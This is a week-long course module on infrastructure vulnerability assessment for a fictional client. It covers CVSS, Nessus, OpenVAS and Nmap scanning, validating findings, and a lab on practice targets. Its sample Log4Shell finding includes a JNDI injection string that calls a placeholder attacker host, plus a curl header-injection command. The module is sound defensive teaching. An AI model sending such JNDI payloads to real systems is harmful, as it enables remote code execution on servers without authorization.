Mental Model
"You can't protect what you don't understand, and you can't understand what you haven't measured." — Security Operations Principle
Vulnerability assessment transforms reconnaissance data into actionable security intelligence. Where reconnaissance asks "what exists?", vulnerability assessment asks "what's wrong with what exists?" This systematic process identifies weaknesses before adversaries do, providing the foundation for risk-based remediation decisions.
Learning Outcomes
By the end of this week, you will be able to:
- LO1: Execute systematic vulnerability scans against network infrastructure using industry-standard tools
- LO2: Differentiate between vulnerability scanners' findings and validate true positives versus false positives
- LO3: Interpret vulnerability scan results including CVSS scores and exploitability metrics
- LO4: Document infrastructure vulnerabilities with sufficient detail for remediation
- LO5: Correlate vulnerability findings with reconnaissance data to identify attack chains
Introduction: From Discovery to Analysis
Your reconnaissance revealed NovaTech's infrastructure landscape: external services, cloud resources, internal systems accessible via VPN. Now you transition from mapping to probing—systematically testing each component for known vulnerabilities, misconfigurations, and weaknesses.
This week focuses on infrastructure vulnerability assessment: network services, operating systems, and server configurations. Next week addresses web application vulnerabilities, which require different tools and methodology.
Engagement Context
You've received VPN credentials from Marcus Webb and can now access NovaTech's internal network for assessment. Combined with external testing authorization, your scope includes:
- External perimeter systems (from Week 2 reconnaissance)
- Internal network segments accessible via VPN
- AWS infrastructure (EC2 instances, network configurations)
- On-premises systems in the Austin datacenter
1. Vulnerability Assessment Fundamentals
Vulnerability assessment is the systematic process of identifying, quantifying, and prioritizing security weaknesses in systems and applications. Understanding the distinction between vulnerability assessment and penetration testing is essential for proper scoping and execution.
Assessment vs. Penetration Testing
┌─────────────────────────────────────────────────────────────────┐
│ VULNERABILITY ASSESSMENT vs PENETRATION TESTING │
├─────────────────────────────────────────────────────────────────┤
│ │
│ VULNERABILITY ASSESSMENT PENETRATION TESTING │
│ ──────────────────────── ─────────────────── │
│ │
│ Goal: Identify weaknesses Goal: Prove exploitability │
│ │
│ Approach: Broad coverage Approach: Deep exploitation │
│ │
│ Output: List of vulnerabilities Output: Proof of compromise │
│ │
│ Risk: Low (scanning only) Risk: Higher (exploitation) │
│ │
│ Depth: Wide but shallow Depth: Narrow but deep │
│ │
│ Automation: Heavy Automation: Limited │
│ │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ │ │
│ │ RECON → VULN ASSESSMENT → EXPLOITATION → POST-EXPLOIT│ │
│ │ ▲ ▲ │ │
│ │ │ │ │ │
│ │ This Week Week 5 │ │
│ │ │ │
│ └─────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────┘
This week focuses on vulnerability assessment—comprehensive scanning to identify weaknesses across NovaTech's infrastructure. Week 5 will cover exploitation, where you'll validate selected vulnerabilities through controlled attacks.
Types of Vulnerabilities
Infrastructure vulnerabilities fall into several categories:
Software Vulnerabilities
Flaws in operating systems, services, and applications that can be exploited. Often assigned CVE identifiers and rated by CVSS scores.
- Missing security patches
- Known exploitable bugs (buffer overflows, RCE)
- Outdated software versions
Example: CVE-2021-44228 (Log4Shell) — Remote code execution in Apache Log4j affecting countless Java applications.
Configuration Vulnerabilities
Insecure settings that weaken security posture even when software is up-to-date. Often organization-specific and not tracked by CVEs.
- Default credentials left unchanged
- Unnecessary services enabled
- Weak encryption settings
- Overly permissive access controls
Example: SSH server allowing password authentication and root login, enabling brute-force attacks.
Architectural Vulnerabilities
Design-level weaknesses in how systems are structured and connected. Require architectural changes rather than patches to remediate.
- Flat network without segmentation
- Critical systems without redundancy
- Missing defense-in-depth layers
- Single points of failure
Example: Database servers on the same network segment as workstations, allowing lateral movement from compromised endpoints.
Cryptographic Vulnerabilities
Weaknesses in cryptographic implementations that undermine confidentiality or integrity protections.
- Weak cipher suites (DES, RC4, MD5)
- Expired or self-signed certificates
- Insufficient key lengths
- Protocol vulnerabilities (SSLv3, TLS 1.0)
Example: Web server supporting TLS 1.0 with CBC cipher suites, vulnerable to BEAST and POODLE attacks.
The CVSS Scoring System
The Common Vulnerability Scoring System (CVSS) provides a standardized method for rating vulnerability severity. Understanding CVSS is essential for interpreting scanner output and prioritizing remediation.
CVSS v3.1 Score Ranges
| Rating | Score Range | Interpretation |
|---|---|---|
| Critical | 9.0 - 10.0 | Immediate remediation required; likely exploitable with severe impact |
| High | 7.0 - 8.9 | Priority remediation; significant security risk |
| Medium | 4.0 - 6.9 | Should be addressed; moderate risk requiring mitigation |
| Low | 0.1 - 3.9 | Minor risk; address as resources permit |
| Informational | 0.0 | No direct security impact; best practice recommendation |
CVSS Vector Components
CVSS scores derive from multiple factors. Understanding the vector helps assess real-world exploitability:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AV (Attack Vector): N=Network, A=Adjacent, L=Local, P=Physical
AC (Attack Complexity): L=Low, H=High
PR (Privileges Required): N=None, L=Low, H=High
UI (User Interaction): N=None, R=Required
S (Scope): U=Unchanged, C=Changed
C (Confidentiality): N=None, L=Low, H=High
I (Integrity): N=None, L=Low, H=High
A (Availability): N=None, L=Low, H=High
The vector above (CVSS 9.8) represents a network-exploitable vulnerability requiring no privileges, no user interaction, with high impact across confidentiality, integrity, and availability—essentially the worst case.
CVSS Limitations
CVSS provides a standardized severity baseline but doesn't account for:
- Environmental context: A critical vulnerability on an isolated test server differs from one on a production database
- Asset value: The same vulnerability matters more on systems processing sensitive data
- Exploit availability: A high-CVSS vulnerability with no public exploit may be lower risk than a medium-CVSS one with a Metasploit module
- Compensating controls: Network segmentation or WAF rules may mitigate exploitability
Your risk analysis (Week 7) will contextualize CVSS scores within NovaTech's specific environment.
2. Vulnerability Scanning Tools
Vulnerability scanners automate the process of probing systems for known weaknesses. Different tools serve different purposes; professional assessments typically combine multiple scanners for comprehensive coverage.
Scanner Categories
┌─────────────────────────────────────────────────────────────────┐
│ VULNERABILITY SCANNER TYPES │
├─────────────────────────────────────────────────────────────────┤
│ │
│ NETWORK/INFRASTRUCTURE WEB APPLICATION │
│ ────────────────────── ─────────────── │
│ • Nessus • Burp Suite │
│ • OpenVAS • OWASP ZAP │
│ • Qualys • Nikto │
│ • Nexpose • Nuclei │
│ │
│ Focus: OS, services, Focus: Web-specific vulns, │
│ network protocols application logic │
│ │
│ CLOUD-SPECIFIC SPECIALIZED │
│ ────────────── ─────────── │
│ • Prowler (AWS) • Trivy (containers) │
│ • ScoutSuite • Grype (SBOMs) │
│ • CloudSploit • Lynis (Linux audit) │
│ • Steampipe • CIS-CAT (benchmarks) │
│ │
│ Focus: Cloud misconfig, Focus: Specific technology │
│ IAM, resource exposure or compliance area │
│ │
└─────────────────────────────────────────────────────────────────┘
Network Vulnerability Scanners
Nessus
Industry-standard commercial vulnerability scanner. Nessus Essentials (free) supports up to 16 IP addresses, suitable for learning and small assessments.
Installation (Kali Linux)
# Download from tenable.com/products/nessus/nessus-essentials
# Register for free activation code
# Install the downloaded package
sudo dpkg -i Nessus-10.x.x-debian10_amd64.deb
# Start Nessus service
sudo systemctl start nessusd
sudo systemctl enable nessusd
# Access via browser
# https://localhost:8834
Basic Scan Configuration
- Create new scan → Choose template (Basic Network Scan for infrastructure)
- Configure targets (IP addresses or ranges from scope)
- Set credentials for authenticated scanning (more thorough)
- Schedule or launch scan
- Review results by severity, host, or vulnerability
Scan Types
| Type | Description | Use Case |
|---|---|---|
| Basic Network Scan | General-purpose vulnerability detection | Initial infrastructure assessment |
| Credentialed Patch Audit | Authenticated scan for missing patches | Patch compliance verification |
| Advanced Scan | Customizable with granular plugin selection | Targeted assessments, stealth requirements |
| Web Application Tests | Basic web vulnerability checks | Supplement to dedicated web scanners |
OpenVAS (Greenbone Vulnerability Management)
Open-source vulnerability scanner with comprehensive plugin database. Fully free alternative to commercial scanners.
Installation (Kali Linux)
# Install OpenVAS
sudo apt update
sudo apt install openvas -y
# Initial setup (downloads vulnerability feeds - takes time)
sudo gvm-setup
# Note the admin password displayed at the end
# Start services
sudo gvm-start
# Access via browser
# https://localhost:9392
# Login: admin / [password from setup]
Scan Configuration
- Navigate to Scans → Tasks → New Task
- Create Target (Hosts → New Target) with IP addresses
- Select Scan Config (Full and fast is good default)
- Optionally add credentials for authenticated scanning
- Start task and monitor progress
- Review results in Reports section
Nmap Scripting Engine (NSE)
Nmap includes vulnerability detection scripts that complement dedicated scanners. Useful for quick checks and targeted probing.
# Run default vulnerability scripts
nmap --script vuln target-ip
# Specific vulnerability checks
nmap --script smb-vuln* target-ip # SMB vulnerabilities
nmap --script ssl-* target-ip # SSL/TLS issues
nmap --script http-vuln* target-ip # Web server vulnerabilities
# Check for specific CVE
nmap --script http-vuln-cve2017-5638 target-ip # Apache Struts
# Safe scripts only (won't cause issues)
nmap --script "safe and vuln" target-ip
# List available vulnerability scripts
ls /usr/share/nmap/scripts/ | grep vuln
Authenticated vs. Unauthenticated Scanning
Scanner effectiveness depends heavily on whether credentials are provided:
| Aspect | Unauthenticated | Authenticated |
|---|---|---|
| Visibility | External perspective only; sees what's exposed on network | Internal perspective; sees installed software, configurations |
| Coverage | Limited to network-accessible vulnerabilities | Comprehensive including local privilege escalation, missing patches |
| Accuracy | Higher false positive rate; must infer versions | More accurate; direct access to version information |
| Simulates | External attacker without access | Attacker with compromised credentials / insider |
| Requirements | Network access only | Valid credentials (SSH keys, domain accounts, SNMP strings) |
Best Practice: Use Both
Professional assessments typically run both authenticated and unauthenticated scans. Unauthenticated scans reveal what an external attacker sees; authenticated scans provide comprehensive vulnerability inventory. For NovaTech's SOC 2 preparation, authenticated scanning ensures complete coverage.
Credential Types for Authenticated Scanning
┌─────────────────────────────────────────────────────────────────┐
│ CREDENTIALS FOR AUTHENTICATED SCANNING │
├─────────────────────────────────────────────────────────────────┤
│ │
│ LINUX/UNIX WINDOWS │
│ ────────── ─────── │
│ • SSH username/password • Domain admin credentials │
│ • SSH private key • Local admin account │
│ • sudo/su privileges • WMI access │
│ • SMB shares │
│ │
│ NETWORK DEVICES DATABASES │
│ ─────────────── ───────── │
│ • SNMP community strings • Database credentials │
│ • SSH/Telnet credentials • Read-only preferred │
│ • Enable passwords │
│ │
│ CLOUD VMware/VIRTUALIZATION │
│ ───── ───────────────────── │
│ • AWS Access Keys (read-only) • vCenter credentials │
│ • Azure Service Principal • ESXi root access │
│ • GCP Service Account │
│ │
└─────────────────────────────────────────────────────────────────┘
Credential Security
Scanning credentials are highly sensitive. Ensure:
- Use dedicated service accounts, not personal credentials
- Request minimum necessary privileges (read-only where possible)
- Store credentials securely (password manager, encrypted storage)
- Credentials are rotated after engagement concludes
- Document credential scope in engagement charter
3. Scanning Methodology
Effective vulnerability scanning requires methodical execution to ensure coverage while minimizing disruption. Follow this systematic approach for the NovaTech engagement.
Pre-Scan Preparation
Step 1: Verify Scope and Authorization
- Confirm IP ranges and systems are in scope
- Verify testing window is active
- Ensure credentials are ready (if authenticated scanning)
- Notify client contact that scanning is beginning
# Create target list from reconnaissance
cat ~/engagements/novatech-2025/01-recon/targets.txt
# Verify targets are reachable
for ip in $(cat targets.txt); do
ping -c 1 -W 1 $ip && echo "$ip reachable"
done
Step 2: Discovery Scan
Before vulnerability scanning, confirm live hosts and open ports. This prevents wasting time scanning offline systems.
# Host discovery
nmap -sn -PE -PP -PM 10.10.0.0/24 -oA discovery-ping
# Port discovery on live hosts
nmap -sS -p- --min-rate 1000 -iL live-hosts.txt -oA discovery-ports
# Quick service identification
nmap -sV --version-light -iL live-hosts.txt -oA discovery-services
Step 3: Vulnerability Scan Execution
Run vulnerability scans in phases, starting with less intensive options:
Phase A: Unauthenticated Scan
External perspective, minimal credentials
# Nessus: Create "Basic Network Scan" without credentials
# OpenVAS: "Full and fast" scan config
# Nmap vulnerability scripts
nmap --script vuln -iL targets.txt -oA vuln-scan-unauth
Phase B: Authenticated Scan
Add credentials for comprehensive coverage
# Nessus: Add SSH credentials for Linux, domain creds for Windows
# OpenVAS: Create credential and associate with target
# For Linux hosts with SSH access
sudo nmap --script vuln -sV --script-args='ssh-brute.userdb=user.txt' \
-iL linux-targets.txt -oA vuln-scan-auth-linux
Phase C: Specialized Scans
Technology-specific deep dives
# SSL/TLS analysis
testssl.sh --html --csvfile results.csv https://target
# SMB vulnerabilities
nmap --script smb-vuln* -p 445 -iL windows-targets.txt
# Database vulnerabilities (if in scope)
nmap --script mysql-vuln* -p 3306 -iL db-targets.txt
Scan Timing Considerations
Balance thoroughness against time constraints and potential impact:
| Factor | Faster Scanning | Slower Scanning |
|---|---|---|
| Network Impact | Higher bandwidth, potential disruption | Lower bandwidth, less noticeable |
| Detection | Easily detected by IDS/IPS | May evade basic detection |
| Accuracy | May miss slow-responding services | Better accuracy for all services |
| Time Required | Hours for large networks | Days for large networks |
# Nmap timing templates
-T0 # Paranoid (very slow, IDS evasion)
-T1 # Sneaky (slow, IDS evasion)
-T2 # Polite (slowed to reduce bandwidth)
-T3 # Normal (default)
-T4 # Aggressive (fast, reliable networks)
-T5 # Insane (very fast, may miss results)
# For NovaTech engagement (authorized testing):
# Use T4 during off-hours testing windows
# Use T3 during business hours if testing permitted
NovaTech Scan Plan
Based on the engagement scope, here's the recommended scanning approach:
| Target Segment | Scan Type | Tool | Timing |
|---|---|---|---|
| External Perimeter | Unauthenticated | Nessus + Nmap | Any authorized window |
| Internal Network (via VPN) | Authenticated | Nessus with creds | Off-hours preferred |
| AWS Infrastructure | Configuration review | Prowler / ScoutSuite | Any time (API-based) |
| Windows Systems | Authenticated + SMB | Nessus + Nmap SMB scripts | Off-hours |
| Linux Servers | Authenticated SSH | Nessus + Lynis | Any authorized window |
4. Interpreting Scan Results
Vulnerability scanners produce extensive output. Effective assessment requires understanding how to interpret results, validate findings, and prioritize for reporting.
Understanding Scanner Output
Sample Nessus Finding
Plugin ID: 35362
Name: MS09-001: Microsoft Windows SMB Vulnerabilities Remote Code Execution
Severity: Critical
CVSS v3 Base Score: 9.8
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description:
The remote Windows host is affected by multiple vulnerabilities in the
SMB server that could allow an unauthenticated, remote attacker to execute
arbitrary code.
Solution:
Microsoft has released patches for Windows 2000, XP, 2003, Vista, 2008.
See Also:
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2009/ms09-001
Plugin Output:
The following registry key value indicates a vulnerable version of srv.sys:
HKLM\SYSTEM\CurrentControlSet\Services\srv\ImagePath
Version: 6.0.6001.18000
Risk Factor: Critical
Exploitable with: Metasploit (exploit/windows/smb/ms09_001_write)
Key Elements:
- Plugin ID: Scanner's internal reference for this check
- CVSS Score: 9.8 Critical — network-exploitable RCE without authentication
- Description: Explains the vulnerability and its impact
- Solution: Remediation guidance (apply patches)
- Plugin Output: Evidence confirming the finding
- Exploitable with: Critical — known Metasploit module exists
False Positives vs. True Positives
Not every scanner finding represents a real vulnerability. Validation is essential for accurate reporting.
┌─────────────────────────────────────────────────────────────────┐
│ FINDING CLASSIFICATION │
├─────────────────────────────────────────────────────────────────┤
│ │
│ TRUE POSITIVE FALSE POSITIVE │
│ ───────────── ────────────── │
│ Vulnerability exists as Scanner incorrectly reports │
│ reported by scanner a vulnerability that doesn't │
│ exist │
│ → Include in report → Exclude from report │
│ │
│ TRUE NEGATIVE FALSE NEGATIVE │
│ ───────────── ────────────── │
│ Scanner correctly identifies Scanner misses a real │
│ that no vulnerability exists vulnerability that exists │
│ │
│ → Expected behavior → Dangerous; why manual │
│ testing complements scans │
│ │
└─────────────────────────────────────────────────────────────────┘
Common False Positive Causes
- Version detection errors: Scanner infers version from banner, but service is actually patched
- Compensating controls: Vulnerability exists but is mitigated (firewall, IPS signature)
- Non-default configurations: Vulnerable feature is disabled or not compiled in
- Backported patches: Linux distributions often backport security fixes without changing version numbers
- Generic signatures: Scanner plugin is too broad for the specific implementation
Validation Techniques
# Verify version manually
nmap -sV --version-all -p 22 target # Detailed version probe
# Check specific CVE with Nmap script
nmap --script http-vuln-cve2021-41773 target # Apache path traversal
# Attempt safe exploitation (proof of concept, not damage)
# Only if authorized and you understand the impact
# Research the specific vulnerability
searchsploit "apache 2.4.49" # Check for known exploits
# Compare with other scanner results
# Multiple scanners reporting same issue increases confidence
Validation Example: SSH Weak Algorithms
# Scanner reports: SSH Weak Key Exchange Algorithms Enabled
# CVSS: 5.3 (Medium)
# Validate manually:
ssh -vv target 2>&1 | grep "kex:"
# Output shows which algorithms are actually negotiated
nmap --script ssh2-enum-algos target
# Lists all supported algorithms
# Research which algorithms are actually weak:
# - diffie-hellman-group1-sha1 (weak)
# - diffie-hellman-group-exchange-sha1 (weak)
# - ecdh-sha2-nistp256 (acceptable)
# If only strong algorithms are shown → FALSE POSITIVE
# If weak algorithms present → TRUE POSITIVE, document specific algorithms
Prioritization Framework
Combine CVSS with contextual factors for effective prioritization:
| Priority | Criteria | Example | Action |
|---|---|---|---|
| P1 - Critical | CVSS 9.0+, exploit available, internet-facing | RCE on public web server with Metasploit module | Immediate notification; remediate within 24-48 hours |
| P2 - High | CVSS 7.0+, exploit available, internal system OR CVSS 9.0+ without easy exploit | Critical patch missing on domain controller | Urgent remediation; include in executive summary |
| P3 - Medium | CVSS 4.0-6.9, or high CVSS with significant mitigating factors | SSL weak cipher on internal-only service | Planned remediation within remediation window |
| P4 - Low | CVSS below 4.0, or higher CVSS with strong mitigations | Informational disclosure, version banners | Address as resources permit; track for trending |
5. Documenting Infrastructure Findings
Professional vulnerability documentation enables remediation. Each finding should contain sufficient detail for both technical staff to fix the issue and management to understand the risk.
Finding Documentation Template
┌─────────────────────────────────────────────────────────────────┐
│ VULNERABILITY FINDING FORMAT │
├─────────────────────────────────────────────────────────────────┤
│ │
│ IDENTIFICATION │
│ • Finding ID (e.g., NOVA-INFRA-001) │
│ • Title (concise, descriptive) │
│ • Affected Host(s) / Asset(s) │
│ • Severity Rating (Critical/High/Medium/Low) │
│ • CVSS Score and Vector │
│ │
│ TECHNICAL DETAILS │
│ • Description of vulnerability │
│ • CVE Reference(s) if applicable │
│ • Affected software/version │
│ • Evidence (scan output, screenshots, commands) │
│ • Steps to reproduce │
│ │
│ RISK ANALYSIS │
│ • Potential impact if exploited │
│ • Exploitability assessment │
│ • Affected data or systems │
│ • Business context │
│ │
│ REMEDIATION │
│ • Recommended fix │
│ • Alternative mitigations │
│ • Remediation complexity estimate │
│ • References (vendor advisories, patches) │
│ │
└─────────────────────────────────────────────────────────────────┘
Sample Finding Documentation
Apache Log4j Remote Code Execution (Log4Shell)
Affected Assets
| Host: | jenkins.novatech-solutions.com (54.85.xxx.xxx) |
| Service: | Jenkins 2.319 on port 8080 |
| Component: | Apache Log4j 2.14.1 |
Severity
| CVSS v3.1: | 10.0 Critical |
| Vector: | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CVE: | CVE-2021-44228 |
Description
The Jenkins server at jenkins.novatech-solutions.com uses Apache Log4j version 2.14.1, which is vulnerable to remote code execution via the Log4Shell vulnerability (CVE-2021-44228). This vulnerability allows an unauthenticated attacker to execute arbitrary code on the server by sending a specially crafted string that is logged by the application.
The vulnerability is exploited by injecting a JNDI lookup string
(e.g., ${jndi:ldap://attacker.com/exploit}) into any
logged field. When Log4j processes this string, it makes an outbound
connection to the attacker's server and can execute arbitrary Java code.
Evidence
# Nessus Plugin 156860 detected vulnerable Log4j
# Additional validation performed:
$ curl -H 'X-Forwarded-For: ${jndi:ldap://[CANARY-TOKEN].canarytokens.com/a}' \
https://jenkins.novatech-solutions.com/
# DNS callback received at canarytokens.com, confirming JNDI resolution
# Timestamp: 2025-01-20 14:32:15 UTC
# Source IP: 54.85.xxx.xxx (jenkins server)
# Log4j version confirmed via Jenkins script console (with provided creds):
import org.apache.logging.log4j.util.PropertiesUtil
println PropertiesUtil.class.getPackage().getImplementationVersion()
# Output: 2.14.1
Screenshot: evidence/NOVA-INFRA-003-canary-callback.png
Risk Analysis
Impact if Exploited: An attacker exploiting this vulnerability would gain complete control of the Jenkins server, including:
- Access to CI/CD pipelines and ability to inject malicious code into builds
- Access to deployment credentials stored in Jenkins (AWS keys, SSH keys)
- Ability to deploy malicious code to production environments
- Access to source code repositories connected to Jenkins
- Potential pivot point for lateral movement into internal network
Exploitability: Multiple public exploits exist, including Metasploit modules. Exploitation requires no authentication and can be triggered through any input field that gets logged.
Business Impact: Critical. Compromise of Jenkins could result in supply chain attack affecting WorkflowPro customers.
Remediation
Recommended:
- Upgrade Log4j to version 2.17.1 or later immediately
- Update Jenkins to latest LTS version (includes patched Log4j)
- Review Jenkins access logs for signs of exploitation attempts
- Audit credentials stored in Jenkins; rotate any that may be compromised
Immediate Mitigation (if patching delayed):
- Set JVM flag:
-Dlog4j2.formatMsgNoLookups=true - Block outbound LDAP/RMI traffic from Jenkins server
- Implement WAF rule to block JNDI strings in headers
Remediation Effort: Low (straightforward patching)
References:
Finding Correlation
Individual vulnerabilities often combine into attack chains. Document relationships between findings to illustrate compound risk.
Example Attack Chain
┌─────────────────────────────────────────────────────────────────┐
│ ATTACK CHAIN: JENKINS TO AWS │
├─────────────────────────────────────────────────────────────────┤
│ │
│ NOVA-INFRA-003 NOVA-INFRA-007 NOVA-CLOUD-002 │
│ Log4Shell RCE → AWS Keys in → Overly Permissive│
│ on Jenkins Jenkins Creds IAM Role │
│ │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │
│ │ Initial │ │ Credential │ │ Cloud │ │
│ │ Compromise │──────▶│ Theft │──────▶│ Compromise │ │
│ │ │ │ │ │ │ │
│ │ CVSS: 10.0 │ │ CVSS: N/A │ │ CVSS: 8.1 │ │
│ └─────────────┘ └─────────────┘ └─────────────┘ │
│ │
│ COMBINED IMPACT: Complete AWS environment compromise via │
│ single external vulnerability on Jenkins server │
│ │
└─────────────────────────────────────────────────────────────────┘
Documenting attack chains helps NovaTech understand that fixing any link in the chain reduces overall risk, and that the most critical remediation is the externally-exploitable initial access vector.
6. NovaTech Infrastructure Assessment Scope
For the capstone lab, focus vulnerability assessment on these NovaTech infrastructure components:
External Perimeter
| Target | Focus Areas | Key Concerns |
|---|---|---|
| jenkins.novatech-solutions.com | Service vulnerabilities, authentication, exposed plugins | CI/CD compromise, credential exposure |
| vpn.novatech-solutions.com | OpenVPN vulnerabilities, authentication mechanism | Internal network access vector |
| grafana.novatech-solutions.com | Known CVEs, authentication bypass, SSRF | Infrastructure visibility, potential pivot |
| staging.workflowpro.io | Same as production but likely less patched | May contain production data copies |
Internal Network (via VPN)
| Segment | Systems | Assessment Focus |
|---|---|---|
| Domain Controllers | AD servers (Windows Server) | Missing patches, AD vulnerabilities, Kerberos attacks |
| File Servers | Windows file shares | SMB vulnerabilities, share permissions |
| Database Servers | PostgreSQL, possibly MSSQL | Authentication, patching, network exposure |
| Workstations (sample) | Windows 10/11 endpoints | Patch compliance, local admin access |
AWS Infrastructure
AWS assessment uses configuration review rather than traditional vulnerability scanning. Covered in more detail during Week 6 (Cloud Review).
Self-Check Questions
Test your understanding of infrastructure vulnerability assessment:
Question 1
Your vulnerability scan reports CVE-2019-0708 (BlueKeep) on a Windows Server 2008 R2 system. The CVSS score is 9.8 Critical. However, you notice the server is on an isolated network segment with no internet access and only accessible from a single jump host. How does this context affect your prioritization?
Reveal Answer
The vulnerability remains critical in terms of CVSS base score, but environmental factors reduce the practical risk. Your assessment should:
- Still report as Critical (the vulnerability exists)
- Note network isolation as a mitigating factor
- Assess the jump host's security (it becomes the attack path)
- Consider that network segmentation can fail or change
- Recommend patching despite mitigations (defense in depth)
The practical priority might be P2 instead of P1 due to reduced exploitability, but the underlying vulnerability should still be remediated. Document both the raw CVSS and the environmental context.
Question 2
Nessus reports "SSL Certificate Signed Using Weak Hashing Algorithm (SHA-1)" on an internal-only service used by 5 employees. The CVSS score is 5.3 Medium. How would you handle this finding?
Reveal Answer
This is a legitimate finding but relatively low priority given context:
- Validate: Confirm the certificate actually uses SHA-1 (check with
openssl s_client) - Context: Internal service with limited users reduces attack surface
- Real Risk: SHA-1 collision attacks are computationally expensive; practical exploitation unlikely
- Report as: Medium/Low priority, recommend replacement during normal certificate renewal
- Compliance Note: May affect SOC 2 if "strong cryptography" is a stated control
Include in findings for completeness but don't elevate priority unless compliance requirements specifically mandate SHA-256+ for all certificates.
Question 3
You're running an authenticated vulnerability scan against NovaTech's Linux servers using SSH credentials. The scan completes but shows far fewer vulnerabilities than expected based on server age. What might explain this, and what would you check?
Reveal Answer
Several possibilities to investigate:
- Credential issues: Verify the account has sufficient privileges (sudo access for package enumeration)
- Scan configuration: Ensure all relevant plugins are enabled (Linux local security checks)
- Backported patches: RHEL/CentOS/Ubuntu backport security fixes without version bumps—scanner may show patched even if version looks old
- Container hosts: If servers run containers, vulnerabilities may be in containers rather than host OS
- Actually well-maintained: The servers may genuinely be well-patched
Verification steps: Check sudo access, review scanner credential verification logs,
manually verify a few packages with rpm -q or dpkg -l,
check for configuration management (Ansible/Puppet) that maintains patching.
Question 4
Explain why you might run both Nessus and Nmap vulnerability scripts against the same targets. Isn't this redundant?
Reveal Answer
Different tools have different strengths, and combining them improves coverage:
- Different detection methods: Nessus uses comprehensive credentialed checks; Nmap scripts use network probes
- Different plugin/script databases: Each maintains different vulnerability signatures updated at different rates
- Validation: A finding confirmed by multiple tools has higher confidence (reduces false positives)
- Gap coverage: One scanner may detect vulnerabilities the other misses
- Cost/access: Nmap is free and always available; commercial scanner licenses may be limited
Professional assessments typically use at least two vulnerability scanning approaches for comprehensive coverage.
Question 5
During your scan, you discover that NovaTech's internal DNS server is running BIND 9.11.5, which has multiple known vulnerabilities. However, the DNS server is only accessible from the internal network. Should this be reported as a finding? If so, at what severity?
Reveal Answer
Yes, definitely report this finding. DNS is critical infrastructure that affects all internal operations.
- Severity: High (even though internal-only)
- Justification:
- DNS compromise enables cache poisoning affecting all internal users
- Could redirect internal traffic to attacker-controlled servers
- Potential DoS affecting all name resolution
- Post-compromise pivot point is highly valuable
- Context: "Internal only" doesn't mean safe—attackers who gain initial access prioritize DNS servers
The finding should include specific CVEs affecting that BIND version and prioritize patching even though external exploitation is not possible.
Question 6
Your vulnerability scanner reports 847 findings across NovaTech's infrastructure. How do you approach organizing this for your report without overwhelming the client?
Reveal Answer
Large finding counts require strategic organization:
- Deduplicate: Group identical vulnerabilities across multiple hosts (e.g., "Missing Windows patch KB12345" on 50 servers = 1 finding with 50 affected hosts)
- Filter noise: Remove informational items unless specifically requested; focus on actionable vulnerabilities
- Severity tiers: Lead with critical/high; medium/low in appendix or summary statistics
- Categorize: Group by type (patching, configuration, cryptography) or by system (Windows, Linux, network devices)
- Highlight themes: "Patching program appears ineffective—42 systems missing critical updates" is more actionable than 42 individual findings
- Executive summary: "12 Critical, 45 High, 203 Medium, 587 Low" with top 5 priorities
The goal is actionable intelligence, not raw data. Your report should help NovaTech understand what to fix and in what order.
Lab: Infrastructure Vulnerability Assessment
Objective
Conduct a comprehensive infrastructure vulnerability assessment using industry-standard tools, validate findings, and document vulnerabilities in professional format.
Deliverables
- Raw Scan Results: Exported scan data from all tools used
- Validated Findings Document: Professionally documented findings with evidence
- Finding Summary Matrix: Spreadsheet tracking all findings by severity, status, and host
Time Estimate
5-6 hours
Practice Targets
Since NovaTech is fictional, conduct your vulnerability assessment against authorized practice environments:
- Metasploitable 2/3: Deliberately vulnerable Linux VM — Download
- VulnHub VMs: Various vulnerable machines — vulnhub.com
- TryHackMe: Vulnerability scanning rooms (free tier) — tryhackme.com
- HackTheBox: Starting point machines — hackthebox.com
Document your methodology as if assessing NovaTech, adapting findings from practice targets to demonstrate professional process.
Lab Tasks
Part 1: Scanner Setup and Configuration (LO1)
- Install and configure Nessus Essentials:
- Register for activation code at tenable.com
- Install on Kali VM
- Complete initial feed update
- Verify OpenVAS is functional:
sudo gvm-check-setup - Document scanner versions and plugin/feed dates
Part 2: Unauthenticated Scanning (LO1, LO3)
- Configure target list (practice environment IPs)
- Run Nessus Basic Network Scan
- Run Nmap vulnerability scripts:
nmap --script vuln -sV -oA vuln-nmap target-ip - Export all results (Nessus HTML/CSV, Nmap XML)
- Record scan duration and any errors encountered
Part 3: Authenticated Scanning (LO1, LO3)
- Configure credentials in Nessus for target systems
- Run credentialed scan against same targets
- Compare results: How many additional findings with credentials?
- Run Lynis on a Linux target (if SSH access available):
lynis audit system --quick - Document credential requirements and access used
Part 4: Finding Validation (LO2)
- Select 5 findings of varying severity for manual validation
- For each finding:
- Research the vulnerability (CVE details, exploit availability)
- Attempt manual verification (version check, config review, safe PoC)
- Classify as True Positive or False Positive with evidence
- Document your validation methodology
Part 5: Professional Documentation (LO4, LO5)
- Create finding summary matrix (spreadsheet):
- Columns: Finding ID, Title, Severity, CVSS, Host(s), Status, Priority
- All findings from scans, deduplicated
- Document top 5 findings using the template from Section 5:
- Full details including evidence screenshots
- Risk analysis in NovaTech context
- Specific remediation guidance
- Identify at least one attack chain connecting multiple findings
Self-Assessment Checklist
Scanning Execution
- ☐ Multiple scanning tools used (not just one)
- ☐ Both authenticated and unauthenticated scans completed
- ☐ Scan configurations documented
- ☐ Raw results exported and preserved
Validation Quality
- ☐ At least 5 findings manually validated
- ☐ Validation methodology documented
- ☐ True/False positive classification with evidence
- ☐ Reasonable conclusions drawn from validation
Documentation Quality
- ☐ Finding matrix is complete and organized
- ☐ Top 5 findings follow professional template
- ☐ Evidence (screenshots, outputs) included
- ☐ Remediation guidance is specific and actionable
- ☐ Attack chain identified and documented
Professional Standards
- ☐ Findings could be presented to client
- ☐ Severity ratings are justified
- ☐ Technical accuracy maintained
- ☐ Clear, professional writing
Portfolio Integration
Save your infrastructure vulnerability assessment deliverables:
03-vuln-assessment-infrastructure/scan-results/— Raw exports from all scannersfinding-matrix.xlsx— Summary spreadsheetvalidated-findings.pdf— Top 5 detailed findingsevidence/— Screenshots and supporting data
These findings will feed into your risk analysis (Week 7) and final technical report (Week 10).
